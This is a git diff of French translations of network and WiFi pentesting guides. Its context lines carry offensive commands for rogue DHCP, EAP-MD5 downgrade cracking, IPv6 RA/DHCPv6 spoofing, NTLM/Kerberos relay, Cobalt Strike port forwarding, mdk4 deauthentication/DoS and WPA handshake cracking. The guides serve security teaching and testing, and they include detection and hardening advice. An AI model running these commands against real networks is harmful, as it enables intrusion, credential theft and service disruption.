Voici les options de commande pour configurer le serveur DHCP malveillant :
|
||||
|
||||
@ -532,10 +532,10 @@ Voici quelques-unes des tactiques d'attaque qui peuvent être utilisées contre
|
||||
- Grattage actif de mots de passe par force brute via EAP
|
||||
- Attaque du serveur RADIUS avec du contenu EAP malformé _\*\*_(exploits)
|
||||
- Capture de messages EAP et craquage de mots de passe hors ligne (EAP-MD5 et PEAP)
|
||||
- Forcer l'authentification EAP-MD5 pour contourner la validation du certificat TLS
|
||||
- Forçage de l'authentification EAP-MD5 pour contourner la validation du certificat TLS
|
||||
- Injection de trafic réseau malveillant lors de l'authentification en utilisant un hub ou similaire
|
||||
|
||||
Si l'attaquant se trouve entre la victime et le serveur d'authentification, il pourrait essayer de dégrader (si nécessaire) le protocole d'authentification à EAP-MD5 et capturer la tentative d'authentification. Ensuite, il pourrait procéder à un craquage par force brute en utilisant :
|
||||
Si l'attaquant se trouve entre la victime et le serveur d'authentification, il pourrait essayer de dégrader (si nécessaire) le protocole d'authentification à EAP-MD5 et capturer la tentative d'authentification. Ensuite, il pourrait utiliser la force brute pour cela :
|
||||
```
|
||||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
@ -551,7 +551,7 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Trois versions du protocole de routage (RIP) sont connues : RIP, RIPv2 et RIPng. Les datagrammes sont envoyés aux pairs via le port 520 en utilisant UDP par RIP et RIPv2, tandis que les datagrammes sont diffusés au port UDP 521 via multicast IPv6 par RIPng. Le support pour l'authentification MD5 a été introduit par RIPv2. En revanche, l'authentification native n'est pas incorporée par RIPng ; au lieu de cela, on s'appuie sur des en-têtes IPsec AH et ESP optionnels dans IPv6.
|
||||
Trois versions du protocole de routage RIP (Routing Information Protocol) sont connues : RIP, RIPv2 et RIPng. Les datagrammes sont envoyés aux pairs via le port 520 en utilisant UDP par RIP et RIPv2, tandis que les datagrammes sont diffusés au port UDP 521 via multicast IPv6 par RIPng. Le support de l'authentification MD5 a été introduit par RIPv2. En revanche, l'authentification native n'est pas incorporée par RIPng ; au lieu de cela, on s'appuie sur des en-têtes IPsec AH et ESP optionnels dans IPv6.
|
||||
|
||||
- **RIP et RIPv2 :** La communication se fait par des datagrammes UDP sur le port 520.
|
||||
- **RIPng :** Utilise le port UDP 521 pour diffuser des datagrammes via multicast IPv6.
|
||||
@ -560,11 +560,11 @@ Notez que RIPv2 prend en charge l'authentification MD5 tandis que RIPng n'inclut
|
||||
|
||||
### Attaques EIGRP
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** est un protocole de routage dynamique. **C'est un protocole à vecteur de distance.** S'il n'y a **pas d'authentification** et de configuration des interfaces passives, un **intrus** peut interférer avec le routage EIGRP et provoquer un **empoisonnement des tables de routage**. De plus, le réseau EIGRP (en d'autres termes, le système autonome) **est plat et n'a pas de segmentation en zones**. Si un **attaquant injecte une route**, il est probable que cette route **se propage** dans tout le système EIGRP autonome.
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** est un protocole de routage dynamique. **C'est un protocole à vecteur de distance.** S'il n'y a **pas d'authentification** et de configuration d'interfaces passives, un **intrus** peut interférer avec le routage EIGRP et provoquer un **empoisonnement des tables de routage**. De plus, le réseau EIGRP (en d'autres termes, le système autonome) **est plat et n'a pas de segmentation en zones**. Si un **attaquant injecte une route**, il est probable que cette route **se propage** dans tout le système EIGRP autonome.
|
||||
|
||||
Pour attaquer un système EIGRP, il faut **établir un voisinage avec un routeur EIGRP légitime**, ce qui ouvre de nombreuses possibilités, de la reconnaissance de base à diverses injections.
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) vous permet de mettre en œuvre **un routeur virtuel qui prend en charge BGP, OSPF, EIGRP, RIP et d'autres protocoles.** Tout ce que vous avez à faire est de le déployer sur le système de votre attaquant et vous pouvez réellement prétendre être un routeur légitime dans le domaine de routage.
|
||||
[**FRRouting**](https://frrouting.org/) vous permet de mettre en œuvre **un routeur virtuel qui prend en charge BGP, OSPF, EIGRP, RIP et d'autres protocoles.** Tout ce que vous avez à faire est de le déployer sur le système de votre attaquant et vous pouvez en fait prétendre être un routeur légitime dans le domaine de routage.
|
||||
|
||||
{{#ref}}
|
||||
eigrp-attacks.md
|
||||
@ -583,7 +583,7 @@ Dans le protocole Open Shortest Path First (OSPF), **l'authentification MD5 est
|
||||
### Autres outils et sources génériques
|
||||
|
||||
- [**Above**](https://github.com/c4s73r/Above) : Outil pour scanner le trafic réseau et trouver des vulnérabilités
|
||||
- Vous pouvez trouver **plus d'informations sur les attaques réseau** [**ici**](https://github.com/Sab0tag3d/MITM-cheatsheet).
|
||||
- Vous pouvez trouver des **informations supplémentaires sur les attaques réseau** [**ici**](https://github.com/Sab0tag3d/MITM-cheatsheet).
|
||||
|
||||
## **Spoofing**
|
||||
|
||||
@ -646,7 +646,7 @@ Lisez ici plus d'informations sur [comment usurper des services avec Responder](
|
||||
|
||||
Les navigateurs utilisent couramment le **protocole Web Proxy Auto-Discovery (WPAD) pour acquérir automatiquement les paramètres de proxy**. Cela implique de récupérer des détails de configuration à partir d'un serveur, spécifiquement via une URL telle que "http://wpad.example.org/wpad.dat". La découverte de ce serveur par les clients peut se faire par divers mécanismes :
|
||||
|
||||
- Par **DHCP**, où la découverte est facilitée en utilisant une entrée de code spécial 252.
|
||||
- Par **DHCP**, où la découverte est facilitée par l'utilisation d'une entrée de code spécial 252.
|
||||
- Par **DNS**, ce qui implique de rechercher un nom d'hôte étiqueté _wpad_ dans le domaine local.
|
||||
- Via **Microsoft LLMNR et NBT-NS**, qui sont des mécanismes de secours utilisés lorsque les recherches DNS échouent.
|
||||
|
||||
@ -663,7 +663,7 @@ Cette attaque est très similaire au spoofing ARP mais dans le monde IPv6. Vous
|
||||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||||
```
|
||||
### Usurpation/Flooding des Annonces de Routeur IPv6
|
||||
### IPv6 Router Advertisement Spoofing/Flooding
|
||||
|
||||
Certains systèmes d'exploitation configurent par défaut la passerelle à partir des paquets RA envoyés dans le réseau. Pour déclarer l'attaquant comme routeur IPv6, vous pouvez utiliser :
|
||||
```bash
|
||||
@ -671,7 +671,7 @@ sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||||
fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
### Spoofing DHCP IPv6
|
||||
### IPv6 DHCP spoofing
|
||||
|
||||
Par défaut, certains systèmes d'exploitation essaient de configurer le DNS en lisant un paquet DHCPv6 sur le réseau. Ensuite, un attaquant pourrait envoyer un paquet DHCPv6 pour se configurer lui-même en tant que DNS. Le DHCP fournit également une IPv6 à la victime.
|
||||
```bash
|
||||
@ -738,7 +738,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
Parfois, si le client vérifie que le CA est valide, vous pourriez **servir un certificat d'un autre nom d'hôte signé par un CA**.\
|
||||
Un autre test intéressant est de servir un **certificat du nom d'hôte demandé mais auto-signé**.
|
||||
|
||||
D'autres choses à tester sont d'essayer de signer le certificat avec un certificat valide qui n'est pas un CA valide. Ou d'utiliser la clé publique valide, forcer l'utilisation d'un algorithme comme Diffie-Hellman (un qui n'a pas besoin de déchiffrer quoi que ce soit avec la vraie clé privée) et lorsque le client demande une preuve de la vraie clé privée (comme un hachage), envoyer une fausse preuve et s'attendre à ce que le client ne vérifie pas cela.
|
||||
D'autres choses à tester sont d'essayer de signer le certificat avec un certificat valide qui n'est pas un CA valide. Ou d'utiliser la clé publique valide, forcer l'utilisation d'un algorithme comme Diffie-Hellman (un qui ne nécessite pas de déchiffrer quoi que ce soit avec la vraie clé privée) et lorsque le client demande une preuve de la vraie clé privée (comme un hachage), envoyer une fausse preuve et s'attendre à ce que le client ne vérifie pas cela.
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -797,7 +797,7 @@ Bettercap diffuse des paquets SSDP à la recherche de tous types de services (Po
|
||||
Bettercap diffuse des paquets WSD à la recherche de services (Port UDP 3702).
|
||||
|
||||
|
||||
### Exploitation Telecom / Mobile-Core (GTP)
|
||||
### Exploitation des télécommunications / Mobile-Core (GTP)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -807,8 +807,8 @@ telecom-network-exploitation.md
|
||||
## Références
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- **Évaluation de la sécurité du réseau : Connaître votre réseau (3e édition)**
|
||||
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. Par Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- **Évaluation de la sécurité du réseau : Connaître votre réseau (3ème édition)**
|
||||
- **Hacking IoT Pratique : Le guide définitif pour attaquer l'Internet des objets. Par Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
|
@ -12,9 +12,9 @@ Les adresses IPv6 sont structurées pour améliorer l'organisation du réseau et
|
||||
2. **ID de sous-réseau** : Les 16 bits suivants, utilisés pour définir des sous-réseaux spécifiques au sein du réseau.
|
||||
3. **Identifiant d'interface** : Les 64 derniers bits, identifiant de manière unique un dispositif au sein du sous-réseau.
|
||||
|
||||
Bien que l'IPv6 omette le protocole ARP trouvé dans l'IPv4, il introduit **ICMPv6** avec deux messages principaux :
|
||||
Bien que l'IPv6 omette le protocole ARP présent dans l'IPv4, il introduit **ICMPv6** avec deux messages principaux :
|
||||
|
||||
- **Solicitation de voisin (NS)** : Messages multicast pour la résolution d'adresses.
|
||||
- **Solicitation de voisin (NS)** : Messages multicast pour la résolution d'adresse.
|
||||
- **Annonce de voisin (NA)** : Réponses unicast aux NS ou annonces spontanées.
|
||||
|
||||
L'IPv6 incorpore également des types d'adresses spéciaux :
|
||||
@ -40,7 +40,7 @@ alive6 eth0
|
||||
```
|
||||
Les adresses IPv6 peuvent être dérivées de l'adresse MAC d'un appareil pour la communication locale. Voici un guide simplifié sur la façon de dériver l'adresse IPv6 Link-local à partir d'une adresse MAC connue, ainsi qu'un aperçu des types d'adresses IPv6 et des méthodes pour découvrir des adresses IPv6 au sein d'un réseau.
|
||||
|
||||
### **Dérivation de l'adresse IPv6 Link-local à partir de l'adresse MAC**
|
||||
### **Dérivation de l'IPv6 Link-local à partir de l'adresse MAC**
|
||||
|
||||
Étant donné une adresse MAC **`12:34:56:78:9a:bc`**, vous pouvez construire l'adresse IPv6 Link-local comme suit :
|
||||
|
||||
@ -54,7 +54,7 @@ Les adresses IPv6 peuvent être dérivées de l'adresse MAC d'un appareil pour l
|
||||
- **Adresse multicast** : Pour la communication un-à-plusieurs. Livrée à toutes les interfaces dans le groupe multicast. Préfixe : **`FF00::/8`**
|
||||
- **Adresse anycast** : Pour la communication un-à-le-plus-proche. Envoyée à l'interface la plus proche selon le protocole de routage. Partie de la plage unicast globale **`2000::/3`**.
|
||||
|
||||
### **Préfixes d'adresses**
|
||||
### **Préfixes d'adresse**
|
||||
|
||||
- **fe80::/10** : Adresses Link-Local (similaire à 169.254.x.x)
|
||||
- **fc00::/7** : Unicast local unique (similaire aux plages IPv4 privées comme 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
@ -277,9 +277,9 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Les clients **préfixeront** votre DNS à leur liste de résolveurs pour la durée donnée, accordant un détournement DNS complet jusqu'à ce que la valeur expire ou que vous envoyiez un `lifetime=0` pour revenir en arrière.
|
||||
Les clients **préfixeront** votre DNS à leur liste de résolveurs pour la durée donnée, accordant un détournement DNS complet jusqu'à ce que la valeur expire ou que vous envoyiez un `lifetime=0` revert.
|
||||
|
||||
### Spoofing DNS DHCPv6 (mitm6)
|
||||
### DHCPv6 DNS Spoofing (mitm6)
|
||||
|
||||
Au lieu de SLAAC, les réseaux Windows dépendent souvent de **DHCPv6 sans état** pour DNS. [mitm6](https://github.com/rofl0r/mitm6) répond automatiquement aux messages `Solicit` avec un flux **Advertise → Reply** qui attribue **votre adresse link-local comme DNS pendant 300 secondes**. Cela déverrouille :
|
||||
|
||||
@ -331,8 +331,7 @@ curl -g -6 -k 'http://[2001:db8:abcd::1]/'
|
||||
# Fast IPv6 service sweep
|
||||
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
|
||||
```
|
||||
3) Si le shell de gestion fournit des outils de capture de paquets via un wrapper (par exemple, tcpdump), vérifiez l'injection d'arguments/nom de fichier qui permet de passer des drapeaux tcpdump supplémentaires comme `-G/-W/-z` pour réaliser une exécution de commande post-rotation. Voir :
|
||||
|
||||
3) Si le shell de gestion fournit des outils de capture de paquets via un wrapper (par exemple, tcpdump), vérifiez l'injection d'arguments/nom de fichier qui permet de passer des drapeaux tcpdump supplémentaires comme `-G/-W/-z` pour réaliser l'exécution de commandes post-rotation. Voir :
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md
|
||||
@ -340,10 +339,9 @@ nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
|
||||
|
||||
Défenses/notes :
|
||||
|
||||
- Ne pas lier la gestion aux ponts invités/publics ; appliquer des pare-feu IPv6 sur les ponts SSID.
|
||||
- Limiter le taux et filtrer NDP/RS/RA sur les segments invités lorsque cela est possible.
|
||||
- Pour les services qui doivent être accessibles, appliquer l'authN/MFA et des limites de taux strictes.
|
||||
|
||||
- Ne liez pas la gestion aux ponts invités/publics ; appliquez des pare-feu IPv6 sur les ponts SSID.
|
||||
- Limitez le taux et filtrez NDP/RS/RA sur les segments invités lorsque cela est possible.
|
||||
- Pour les services qui doivent être accessibles, appliquez l'authN/MFA et des limites de taux strictes.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et Attaques de Relay
|
||||
# Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et Attaques de Relais
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -69,7 +69,7 @@ Cette attaque exploite les sessions d'authentification SMB pour accéder à une
|
||||
|
||||
#### 445 Port Forwarding and Tunneling
|
||||
|
||||
Dans les scénarios où l'introduction directe dans le réseau n'est pas réalisable, le trafic sur le port 445 doit être redirigé et tunnelé. Des outils comme [**PortBender**](https://github.com/praetorian-inc/PortBender) aident à rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accès admin local est disponible pour le chargement de pilotes.
|
||||
Dans les scénarios où l'introduction directe au réseau n'est pas réalisable, le trafic sur le port 445 doit être redirigé et tunnelé. Des outils comme [**PortBender**](https://github.com/praetorian-inc/PortBender) aident à rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accès admin local est disponible pour le chargement de pilotes.
|
||||
|
||||
PortBender setup and operation in Cobalt Strike:
|
||||
```bash
|
||||
@ -87,7 +87,7 @@ beacon> jobkill 0
|
||||
beacon> rportfwd stop 8445
|
||||
beacon> socks stop
|
||||
```
|
||||
### Autres outils pour l'attaque de relais NTLM
|
||||
### Autres Outils pour l'Attaque par Relais NTLM
|
||||
|
||||
- **Metasploit** : Configuré avec des proxies, des détails sur les hôtes locaux et distants.
|
||||
- **smbrelayx** : Un script Python pour relayer des sessions SMB et exécuter des commandes ou déployer des portes dérobées.
|
||||
@ -143,7 +143,7 @@ Pour des informations détaillées sur cette attaque, consultez :
|
||||
1. **Clé partagée :** les SPN source et cible appartiennent au même compte d'ordinateur (par défaut sur les serveurs Windows).
|
||||
2. **Pas de protection de canal :** SMB/LDAP désactivé et EPA désactivé pour HTTP/LDAPS.
|
||||
3. **Vous pouvez intercepter ou contraindre l'authentification :** poison LLMNR/NBNS, spoof DNS, **PetitPotam / DFSCoerce RPC**, faux AuthIP, DCOM malveillant, etc.
|
||||
4. **Source du ticket non déjà utilisée :** vous gagnez la course avant que le vrai paquet n'atteigne ou le bloquez entièrement ; sinon, le cache de relecture du serveur déclenche l'Événement 4649.
|
||||
4. **Source du ticket non déjà utilisée :** vous gagnez la course avant que le vrai paquet n'atteigne ou le bloquez complètement ; sinon, le cache de relecture du serveur déclenche l'Événement 4649.
|
||||
5. Vous devez d'une manière ou d'une autre être en mesure d'effectuer un **MitM dans la communication**, peut-être en faisant partie du groupe DNSAmins pour modifier le DNS du domaine ou en étant capable de changer le fichier HOST de la victime.
|
||||
|
||||
### Étapes de relais Kerberos
|
||||
@ -201,21 +201,21 @@ Vous possédez maintenant **NT AUTHORITY\SYSTEM**.
|
||||
| `KRB_AP_ERR_MODIFIED` | Clé de ticket ≠ clé cible | Mauvais hôte/SPN |
|
||||
| `KRB_AP_ERR_SKEW` | Horloge > 5 min de décalage | Synchroniser l'heure ou utiliser `w32tm` |
|
||||
| Échec de liaison LDAP | Signature appliquée | Utiliser le chemin AD CS ou désactiver la signature |
|
||||
| Spam d'événement 4649 | Le service a vu un Authenticator en double | bloquer ou faire concurrence au paquet original |
|
||||
| Spam d'événement 4649 | Le service a vu un Authenticator en double | bloquer ou faire la course avec le paquet original |
|
||||
|
||||
### **Détection**
|
||||
|
||||
* Augmentation de **l'événement 4769** pour `CIFS/`, `HTTP/`, `LDAP/` provenant de la même source en quelques secondes.
|
||||
* **Événement 4649** sur le service indique qu'un replay a été détecté.
|
||||
* Connexion Kerberos depuis **127.0.0.1** (relai vers SCM local) est très suspecte—cartographier via la règle Sigma dans la documentation de KrbRelayUp.
|
||||
* Surveiller les changements aux attributs `msDS-AllowedToActOnBehalfOfOtherIdentity` ou `msDS-KeyCredentialLink`.
|
||||
* **L'événement 4649** sur le service indique qu'un replay a été détecté.
|
||||
* Une connexion Kerberos depuis **127.0.0.1** (relai vers SCM local) est très suspecte—cartographier via la règle Sigma dans la documentation de KrbRelayUp.
|
||||
* Surveiller les changements des attributs `msDS-AllowedToActOnBehalfOfOtherIdentity` ou `msDS-KeyCredentialLink`.
|
||||
|
||||
## **Renforcement**
|
||||
|
||||
1. **Appliquer la signature LDAP & SMB + EPA** sur chaque serveur.
|
||||
2. **Diviser les SPN** afin que HTTP ne soit pas sur le même compte que CIFS/LDAP.
|
||||
2. **Séparer les SPN** afin que HTTP ne soit pas sur le même compte que CIFS/LDAP.
|
||||
3. Corriger les vecteurs de coercition (PetitPotam KB5005413, DFS, AuthIP).
|
||||
4. Définir **`ms-DS-MachineAccountQuota = 0`** pour arrêter les ajouts d'ordinateurs indésirables.
|
||||
4. Définir **`ms-DS-MachineAccountQuota = 0`** pour arrêter les ajouts de machines non autorisées.
|
||||
5. Alerter sur **l'événement 4649** et les connexions Kerberos de boucle locale inattendues.
|
||||
|
||||
## Références
|
||||
|
@ -84,7 +84,7 @@ Cet outil automatise les attaques **WPS/WEP/WPA-PSK**. Il va automatiquement :
|
||||
- **WPA-PSK**
|
||||
- **WPS** pin "Brute-Force"
|
||||
- **WPA PMKID** bruteforce
|
||||
- \[DoS +] **capture de handshake WPA** + Cracking
|
||||
- \[DoS +] **Capture de handshake WPA** + Cracking
|
||||
- **WPA-MGT**
|
||||
- **Capture de nom d'utilisateur**
|
||||
- **Bruteforce** des identifiants
|
||||
@ -153,11 +153,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
```
|
||||
**MODE D'ATTAQUE p : Probing SSID et Bruteforçage**
|
||||
|
||||
Le probing des points d'accès (APs) vérifie si un SSID est correctement révélé et confirme la portée de l'AP. Cette technique, associée au **bruteforçage des SSID cachés** avec ou sans liste de mots, aide à identifier et accéder aux réseaux dissimulés.
|
||||
Le probing des Points d'Accès (APs) vérifie si un SSID est correctement révélé et confirme la portée de l'AP. Cette technique, couplée avec le **bruteforçage des SSIDs cachés** avec ou sans liste de mots, aide à identifier et accéder aux réseaux dissimulés.
|
||||
|
||||
**MODE D'ATTAQUE m : Exploitation des Contre-mesures Michael**
|
||||
|
||||
L'envoi de paquets aléatoires ou dupliqués à différentes files d'attente QoS peut déclencher les contre-mesures Michael sur les **APs TKIP**, entraînant un arrêt de l'AP d'une minute. Cette méthode est une tactique efficace d'attaque **DoS** (Denial of Service).
|
||||
L'envoi de paquets aléatoires ou dupliqués à différentes files d'attente QoS peut déclencher les Contre-mesures Michael sur les **APs TKIP**, entraînant un arrêt de l'AP d'une minute. Cette méthode est une tactique d'attaque **DoS** (Denial of Service) efficace.
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
@ -165,18 +165,18 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||||
```
|
||||
**MODE D'ATTAQUE e : Injection de paquets EAPOL Start et Logoff**
|
||||
|
||||
Inonder un AP avec des **trames EAPOL Start** crée des **sessions factices**, submergeant l'AP et bloquant les clients légitimes. Alternativement, l'injection de **faux messages EAPOL Logoff** déconnecte de force les clients, les deux méthodes perturbent efficacement le service réseau.
|
||||
Inonder un AP avec des **trames EAPOL Start** crée des **sessions factices**, submergeant l'AP et bloquant les clients légitimes. Alternativement, injecter des **messages EAPOL Logoff factices** déconnecte de force les clients, les deux méthodes perturbent efficacement le service réseau.
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
```
|
||||
**MODE D'ATTAQUE s : Attaques pour les réseaux maillés IEEE 802.11s**
|
||||
|
||||
Différentes attaques sur la gestion des liens et le routage dans les réseaux maillés.
|
||||
Diverses attaques sur la gestion des liens et le routage dans les réseaux maillés.
|
||||
|
||||
**MODE D'ATTAQUE w : Confusion WIDS**
|
||||
|
||||
La connexion croisée de clients à plusieurs nœuds WDS ou à de faux AP malveillants peut manipuler les systèmes de détection et de prévention d'intrusions, créant de la confusion et un potentiel abus du système.
|
||||
La connexion croisée de clients à plusieurs nœuds WDS ou à de faux APs malveillants peut manipuler les systèmes de détection et de prévention d'intrusions, créant de la confusion et un potentiel abus du système.
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
@ -249,7 +249,7 @@ Tous les attaques WPS proposées peuvent être facilement réalisées en utilisa
|
||||
|
||||
## **WEP**
|
||||
|
||||
Tellement cassé et inutilisé de nos jours. Sachez juste que _**airgeddon**_ a une option WEP appelée "All-in-One" pour attaquer ce type de protection. Plus d'outils offrent des options similaires.
|
||||
Tellement cassé et inutilisé de nos jours. Sachez simplement que _**airgeddon**_ a une option WEP appelée "All-in-One" pour attaquer ce type de protection. D'autres outils offrent des options similaires.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -300,11 +300,11 @@ hccap2john pmkid.hccapx > handshake.john
|
||||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
_J'ai remarqué que certaines captures de handshakes avec cet outil n'ont pas pu être craquées même en connaissant le mot de passe correct. Je recommanderais de capturer des handshakes également de manière traditionnelle si possible, ou de capturer plusieurs d'entre eux en utilisant cet outil._
|
||||
_J'ai remarqué que certaines captures de handshakes avec cet outil ne pouvaient pas être craquées même en connaissant le mot de passe correct. Je recommanderais de capturer des handshakes également de manière traditionnelle si possible, ou de capturer plusieurs d'entre eux en utilisant cet outil._
|
||||
|
||||
### Capture de handshake
|
||||
|
||||
Une attaque sur les réseaux **WPA/WPA2** peut être exécutée en capturant un **handshake** et en tentant de **craquer** le mot de passe **hors ligne**. Ce processus implique de surveiller la communication d'un réseau spécifique et le **BSSID** sur un **canal** particulier. Voici un guide simplifié :
|
||||
Une attaque sur les réseaux **WPA/WPA2** peut être exécutée en capturant un **handshake** et en tentant de **craquer** le mot de passe **hors ligne**. Ce processus implique de surveiller la communication d'un réseau spécifique et du **BSSID** sur un **canal** particulier. Voici un guide simplifié :
|
||||
|
||||
1. Identifiez le **BSSID**, le **canal** et un **client connecté** du réseau cible.
|
||||
2. Utilisez `airodump-ng` pour surveiller le trafic réseau sur le canal et le BSSID spécifiés, en espérant capturer un handshake. La commande ressemblera à ceci :
|
||||
@ -325,7 +325,7 @@ Une fois le handshake capturé, vous pouvez **crack** cela avec `aircrack-ng` :
|
||||
```
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
||||
```
|
||||
### Vérifiez si le handshake est dans le fichier
|
||||
### Vérifiez si le handshake dans le fichier
|
||||
|
||||
**aircrack**
|
||||
```bash
|
||||
@ -352,18 +352,18 @@ Dans **les configurations WiFi d'entreprise, vous rencontrerez diverses méthode
|
||||
```
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
1. **EAP-GTC (Generic Token Card)**:
|
||||
- Cette méthode prend en charge les jetons matériels et les mots de passe à usage unique au sein de EAP-PEAP. Contrairement à MSCHAPv2, elle n'utilise pas de défi entre pairs et envoie les mots de passe en texte clair au point d'accès, posant un risque pour les attaques de rétrogradation.
|
||||
2. **EAP-MD5 (Message Digest 5)**:
|
||||
- Implique l'envoi du hachage MD5 du mot de passe depuis le client. Il est **non recommandé** en raison de la vulnérabilité aux attaques par dictionnaire, du manque d'authentification du serveur et de l'incapacité à générer des clés WEP spécifiques à la session.
|
||||
3. **EAP-TLS (Transport Layer Security)**:
|
||||
1. **EAP-GTC (Generic Token Card)** :
|
||||
- Cette méthode prend en charge les jetons matériels et les mots de passe à usage unique au sein de EAP-PEAP. Contrairement à MSCHAPv2, elle n'utilise pas de défi entre pairs et envoie les mots de passe en texte clair au point d'accès, ce qui pose un risque pour les attaques de rétrogradation.
|
||||
2. **EAP-MD5 (Message Digest 5)** :
|
||||
- Implique l'envoi du hachage MD5 du mot de passe depuis le client. Il est **non recommandé** en raison de sa vulnérabilité aux attaques par dictionnaire, du manque d'authentification du serveur et de l'incapacité à générer des clés WEP spécifiques à la session.
|
||||
3. **EAP-TLS (Transport Layer Security)** :
|
||||
- Utilise à la fois des certificats côté client et côté serveur pour l'authentification et peut générer dynamiquement des clés WEP basées sur l'utilisateur et la session pour sécuriser les communications.
|
||||
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
||||
4. **EAP-TTLS (Tunneled Transport Layer Security)** :
|
||||
- Fournit une authentification mutuelle via un tunnel chiffré, ainsi qu'une méthode pour dériver des clés WEP dynamiques, par utilisateur et par session. Elle nécessite uniquement des certificats côté serveur, les clients utilisant des identifiants.
|
||||
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
||||
5. **PEAP (Protected Extensible Authentication Protocol)** :
|
||||
- Fonctionne de manière similaire à EAP en créant un tunnel TLS pour une communication protégée. Elle permet l'utilisation de protocoles d'authentification plus faibles au-dessus de EAP en raison de la protection offerte par le tunnel.
|
||||
- **PEAP-MSCHAPv2**: Souvent appelé PEAP, il combine le mécanisme de défi/réponse vulnérable MSCHAPv2 avec un tunnel TLS protecteur.
|
||||
- **PEAP-EAP-TLS (ou PEAP-TLS)**: Semblable à EAP-TLS mais initie un tunnel TLS avant d'échanger des certificats, offrant une couche de sécurité supplémentaire.
|
||||
- **PEAP-MSCHAPv2** : Souvent appelé PEAP, il combine le mécanisme de défi/réponse vulnérable de MSCHAPv2 avec un tunnel TLS protecteur.
|
||||
- **PEAP-EAP-TLS (ou PEAP-TLS)** : Semblable à EAP-TLS mais initie un tunnel TLS avant d'échanger des certificats, offrant une couche de sécurité supplémentaire.
|
||||
|
||||
Vous pouvez trouver plus d'informations sur ces méthodes d'authentification [ici](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) et [ici](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
||||
|
||||
@ -378,17 +378,17 @@ Même en utilisant l'une des méthodes d'authentification les plus sécurisées
|
||||
|
||||
### Identités anonymes
|
||||
|
||||
Le masquage d'identité est pris en charge à la fois par EAP-PEAP et EAP-TTLS. Dans le contexte d'un réseau WiFi, une demande d'EAP-Identity est généralement initiée par le point d'accès (AP) lors du processus d'association. Pour garantir la protection de l'anonymat de l'utilisateur, la réponse du client EAP sur l'appareil de l'utilisateur contient uniquement les informations essentielles requises pour que le serveur RADIUS initial traite la demande. Ce concept est illustré à travers les scénarios suivants :
|
||||
Le masquage d'identité est pris en charge à la fois par EAP-PEAP et EAP-TTLS. Dans le contexte d'un réseau WiFi, une demande d'EAP-Identity est généralement initiée par le point d'accès (AP) lors du processus d'association. Pour garantir la protection de l'anonymat de l'utilisateur, la réponse du client EAP sur l'appareil de l'utilisateur contient uniquement les informations essentielles requises pour que le serveur RADIUS initial traite la demande. Ce concept est illustré par les scénarios suivants :
|
||||
|
||||
- EAP-Identity = anonyme
|
||||
